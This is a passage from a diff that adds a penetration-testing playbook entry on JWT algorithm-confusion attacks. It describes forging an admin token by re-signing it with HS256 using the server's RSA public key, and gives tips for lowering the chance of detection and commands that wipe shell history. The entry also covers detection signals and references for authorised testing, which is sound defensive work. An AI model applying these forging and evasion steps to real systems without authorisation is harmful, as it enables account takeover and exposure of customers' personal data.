+ echo "=== Payload ===" >> evidence_w007.txt
365
+ echo $FORGED_JWT | cut -d'.' -f2 | base64 -d | jq . >> evidence_w007.txt
366
+ ```
367
+
368
+ ---
369
+
370
+ ## Real-World Reference
371
+
372
+ **Scenario:** E-commerce platform using Auth0 RS256 JWTs.
373
+
374
+ 1. Attacker creates a free account and captures the RS256-signed JWT from the login response.
375
+ 2. The JWKS endpoint at `/.well-known/jwks.json` is publicly accessible and returns the RSA public key.
376
+ 3. Attacker converts the JWKS `n` and `e` parameters to PEM format.
377
+ 4. Using jwt_tool, attacker re-signs a modified token payload (`"admin": true, "role": "admin"`) with HS256, using the RSA public key as the HMAC-SHA256 secret.
378
+ 5. The backend JWT library (e.g., an older version of `jsonwebtoken` for Node.js) accepts the algorithm from the token header rather than enforcing RS256 server-side.
379
+ 6. The forged token passes signature verification because the library uses the public key as both the RSA verify key and — when it sees `alg: HS256` — as the HMAC secret.
380
+ 7. Attacker gains full platform admin access: user enumeration, order manipulation, PII exposure, and backend configuration access.
381
+
382
+ **CVE References:** CVE-2015-9235 (jsonwebtoken), CVE-2016-5431 (python-jose), CVE-2022-21449 (Java ECDSA "Psychic Signatures" — related class of algorithm confusion).
383
+
384
+ ---
385
+
386
+ ## MITRE ATT&CK Mapping
387
+
388
+ | Step | Tactic | Technique | Sub-technique | Description |
389
+ |------|--------|-----------|---------------|-------------|
390
+ | 1 — Obtain JWT | Initial Access | T1190 | — | Exploit public-facing login endpoint to obtain authenticated session token |
391
+ | 2 — Decode Token | Discovery | T1082 | — | System information discovery via JWT payload inspection |
392
+ | 3 — Retrieve Public Key | Reconnaissance | T1596.005 | T1596 — Search Open Technical Databases | Collect RSA public key from JWKS endpoint or TLS certificate |
393
+ | 4 — Algorithm Confusion | Privilege Escalation | T1548 | — | Abuse JWT library behavior to accept HS256 token signed with public key |
394
+ | 5 — Forge Admin Token | Defense Evasion | T1550.001 | Use Alternate Authentication Material | Forge token with elevated claims to bypass authorization controls |
395
+ | 6 — Access Admin API | Privilege Escalation | T1078.001 | Valid Accounts: Default Accounts | Use forged token to authenticate as admin without valid credentials |
396
+ | 7 — Enumerate/Exfiltrate | Collection | T1213 | — | Access admin data, user PII, configuration settings |
397
+
398
+ ---
399
+
400
+ ## Detection and OPSEC
401
+
402
+ ### How This Attack Is Detected
403
+
404
+ - **Algorithm mismatch logging:** Properly configured servers log or alert when a token arrives with an unexpected algorithm (HS256 instead of RS256).
405
+ - **Signature validation failure logs:** Failed signature attempts before a successful forged request may appear in SIEM.
406
+ - **Anomalous admin activity:** A user account that has never accessed admin endpoints suddenly making admin API calls triggers behavioral analytics (UEBA).
407
+ - **Token fingerprinting:** WAF or API gateway rules comparing `alg` header against the expected algorithm per endpoint.
408
+ - **Rate of JWT decode errors:** Spiking decode failures prior to a successful admin request can indicate token manipulation attempts.
409
+
410
+ ### How to Reduce Detection Risk During Authorized Engagement
411
+
412
+ - Perform token forging **entirely offline** — no network traffic is generated until the final API call.
413
+ - Use the same source IP and User-Agent as the legitimate token capture session.
414
+ - Minimize the number of forged token attempts — one clean test per endpoint.
415
+ - Time the admin API request within the original token's validity window to avoid expired-token alerts.
416
+ - Use a valid `iat` (issued-at) and realistic `exp` claim in the forged payload to avoid token validation anomalies.
417
+ - Coordinate with the client's SOC to whitelist your source IP during testing, or test during agreed maintenance windows.
418
+
419
+ ### Artifacts Left Behind
420
+
421
+ | Artifact | Location | Notes |
422
+ |----------|----------|-------|
423
+ | HTTP access logs | Target web server / API gateway | Contains forged token in Authorization header |
424
+ | Application logs | Target app log files / SIEM | May contain JWT decode or validation events |
425
+ | JWKS access log | Target web server | GET request to `/.well-known/jwks.json` |
426
+ | `public_key.pem` | Tester's local machine | Extracted public key file |
427
+ | `forge_token.py` | Tester's local machine | Python script used to generate forged token |
428
+ | `evidence_w007.txt` | Tester's local machine | Evidence capture file |
429
+
430
+ ---
431
+
432
+ ## Cleanup
433
+
434
+ ### On the Target System (coordinate with client)
435
+
436
+ ```bash
437
+ # No files are written to the target system during this attack.
438
+ # The only artifacts are server-side logs.
439
+ # Request the client's SOC or log administrator to:
440
+ # 1. Identify and tag the test requests by source IP and timestamp
441
+ # 2. Annotate (do not delete) log entries for evidence preservation
442
+ # 3. Confirm no admin changes were made (verify admin audit log integrity)
443
+ ```
444
+
445
+ ### On the Tester's Machine
446
+
447
+ ```bash
448
+ # Remove sensitive artifacts after engagement
449
+ rm -f public_key.pem
450
+ rm -f forge_token.py
451
+ rm -f evidence_w007.txt
452
+ rm -f admin_response.json
453
+ rm -f admin_headers.txt
454
+ rm -f jwks.json
455
+
456
+ # Clear shell history entries containing the JWT
457
+ history -c # bash (clears all history — warn tester)
458
+ # Or selectively remove lines containing the token:
459
+ # Edit ~/.bash_history or ~/.zsh_history and remove JWT lines
460
+
461
+ # Unset environment variables
462
+ unset JWT
463
+ unset FORGED_JWT
464
+ ```
465
+
466
+ ---
467
+
468
+ ## References
469
+
470
+ ### Tools
471
+
472
+ | Tool | URL | Purpose |
473
+ |------|-----|---------|
474
+ | jwt_tool | https://github.com/ticarpi/jwt_tool | Primary JWT attack and analysis framework |
475
+ | PyJWT | https://pyjwt.readthedocs.io | Python JWT encode/decode library |
476
+ | python-jose | https://python-jose.readthedocs.io | JOSE implementation for Python |
477
+ | Burp Suite | https://portswigger.net/burp | HTTP interception and replay |
478
+ | jwt.io | https://jwt.io | Online JWT decode/inspect |
479
+ | CyberChef | https://gchq.github.io/CyberChef | Base64url decode and key operations |
480
+
481
+ ### Research and Write-Ups
482
+
483
+ - PortSwigger Web Security Academy — JWT Attacks: https://portswigger.net/web-security/jwt
484
+ - Auth0 Blog — Critical Vulnerabilities in JWT Libraries (2015): https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
485
+ - ticarpi JWT Attack Playbook: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
486
+ - OWASP Testing Guide — Testing JSON Web Tokens: https://owasp.org/www-project-web-security-testing-guide/
487
+ - CVE-2015-9235 (jsonwebtoken algorithm confusion): https://nvd.nist.gov/vuln/detail/CVE-2015-9235
488
+
489
+ ### MITRE ATT&CK
490
+
491
+ - T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
492
+ - T1078.001 Valid Accounts — Default Accounts: https://attack.mitre.org/techniques/T1078/001/
493
+ - T1548 Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
494
+ - T1550.001 Use Alternate Authentication Material: https://attack.mitre.org/techniques/T1550/001/